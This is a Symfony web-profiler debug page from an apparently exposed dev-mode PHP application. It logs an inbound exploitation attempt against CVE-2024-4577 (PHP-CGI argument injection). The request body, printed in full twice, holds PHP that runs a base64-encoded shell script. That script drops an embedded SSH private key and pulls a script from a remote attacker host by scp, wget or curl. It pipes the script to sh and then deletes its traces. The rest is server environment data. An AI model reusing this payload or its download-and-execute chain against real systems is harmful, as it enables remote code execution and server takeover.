POST https://217.160.99.120/?%ADd%20allow_url_include%3D1%20%ADd%20auto_prepend_file%3Dphp%3A%2F%2Finput=

Response
302 Found
IP
223.123.92.48
Profiled on
Token
bb6f76

Request / Response

Request

GET Parameters

Key Value
�d_allow_url_include=1_�d_auto_prepend_file=php://input 
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAyLjU6c2ggb3V0X3NoOyBpZiBbICQ/IC1lcSAwIF07IHRoZW4gY2htb2QgK3ggb3V0X3NoOyBzaCBvdXRfc2ggY3ZlXzIwMjRfNDU3NyA_L2Rldi9udWxsIDI_JjE7IGVsc2UgKHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No"));_echo(md5("Hello_CVE-2024-4577"));_?> 
""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\PlanController::indexRedirect"
_firewall_context 
"security.firewall.map.context.main"
_route 
"index_redirect"
_route_params 
[]
_security_authenticators 
[]
_security_firewall_run 
"_security_main"
_security_skipped_authenticators 
[
  Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticator {#548
    -supports: false
    -passport: null
    -duration: null
    -stub: "App\Security\UserAuthenticator"
    -authenticated: null
    -exception: null
    -authenticator: App\Security\UserAuthenticator {#493 …}
  }
  Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticator {#549
    -supports: false
    -passport: null
    -duration: null
    -stub: "Symfony\Component\Security\Http\Authenticator\RememberMeAuthenticator"
    -authenticated: null
    -exception: null
    -authenticator: Symfony\Component\Security\Http\Authenticator\RememberMeAuthenticator {#550 …}
  }
]
_stopwatch_token 
"a82c5b"

Request Headers

Header Value
accept 
"*/*"
connection 
"keep-alive"
content-length 
"1189"
content-type 
"application/x-www-form-urlencoded"
host 
"217.160.99.120:443"
upgrade-insecure-requests 
"1"
user-agent 
"libredtail-http"
x-php-ob-level 
"1"

Request Content

Raw

<?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAyLjU6c2ggb3V0X3NoOyBpZiBbICQ/IC1lcSAwIF07IHRoZW4gY2htb2QgK3ggb3V0X3NoOyBzaCBvdXRfc2ggY3ZlXzIwMjRfNDU3NyA+L2Rldi9udWxsIDI+JjE7IGVsc2UgKHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=utf-8"
date 
"Fri, 09 Oct 2026 01:17:36 GMT"
location 
"/login"
x-debug-token 
"bb6f76"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session 1

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

1 Usages
Stateless check enabled
Usage
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:39
Show trace 
[
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 39
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/security-http/Firewall/AccessListener.php"
    "line" => 75
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
    "line" => 46
    "function" => "authenticate"
    "class" => "Symfony\Component\Security\Http\Firewall\AccessListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
    "line" => 70
    "function" => "authenticate"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
    "line" => 94
    "function" => "authenticate"
    "class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/security-http/Firewall.php"
    "line" => 93
    "function" => "callListeners"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 115
    "function" => "onKernelRequest"
    "class" => "Symfony\Component\Security\Http\Firewall"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 206
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 56
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 129
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 159
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 76
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/http-kernel/Kernel.php"
    "line" => 193
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
    "line" => 34
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/vendor/autoload_runtime.php"
    "line" => 32
    "function" => "run"
    "class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/cahier_culture/public/index.php"
    "line" => 5
    "args" => [
      "/var/www/html/cahier_culture/vendor/autoload_runtime.php"
    ]
    "function" => "require_once"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
MESSENGER_TRANSPORT_DSN 
"doctrine://default?auto_setup=0"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
APP_PROJECT_DIR 
"/var/www/html/cahier_culture"
APP_RUNTIME 
"Symfony\Component\Runtime\SymfonyRuntime"
APP_RUNTIME_OPTIONS 
[
  "project_dir" => "/var/www/html/cahier_culture"
]
CONTENT_LENGTH 
"1189"
CONTENT_TYPE 
"application/x-www-form-urlencoded"
CONTEXT_DOCUMENT_ROOT 
"/var/www/html/cahier_culture/public"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/var/www/html/cahier_culture/public"
GATEWAY_INTERFACE 
"CGI/1.1"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_CONNECTION 
"keep-alive"
HTTP_HOST 
"217.160.99.120:443"
HTTP_UPGRADE_INSECURE_REQUESTS 
"1"
HTTP_USER_AGENT 
"libredtail-http"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_HTTPS 
"on"
REDIRECT_QUERY_STRING 
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/"
REMOTE_ADDR 
"223.123.92.48"
REMOTE_PORT 
"57262"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1791508656
REQUEST_TIME_FLOAT 
1791508656.2922
REQUEST_URI 
"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME 
"/var/www/html/cahier_culture/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"217.160.99.120"
SERVER_ADMIN 
"webmaster@localhost"
SERVER_NAME 
"217.160.99.120"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
"<address>Apache/2.4.52 (Ubuntu) Server at 217.160.99.120 Port 443</address>\n"
SERVER_SOFTWARE 
"Apache/2.4.52 (Ubuntu)"
SYMFONY_DOTENV_PATH 
"/var/www/html/cahier_culture/.env"
SYMFONY_DOTENV_VARS 
"APP_ENV,MESSENGER_TRANSPORT_DSN"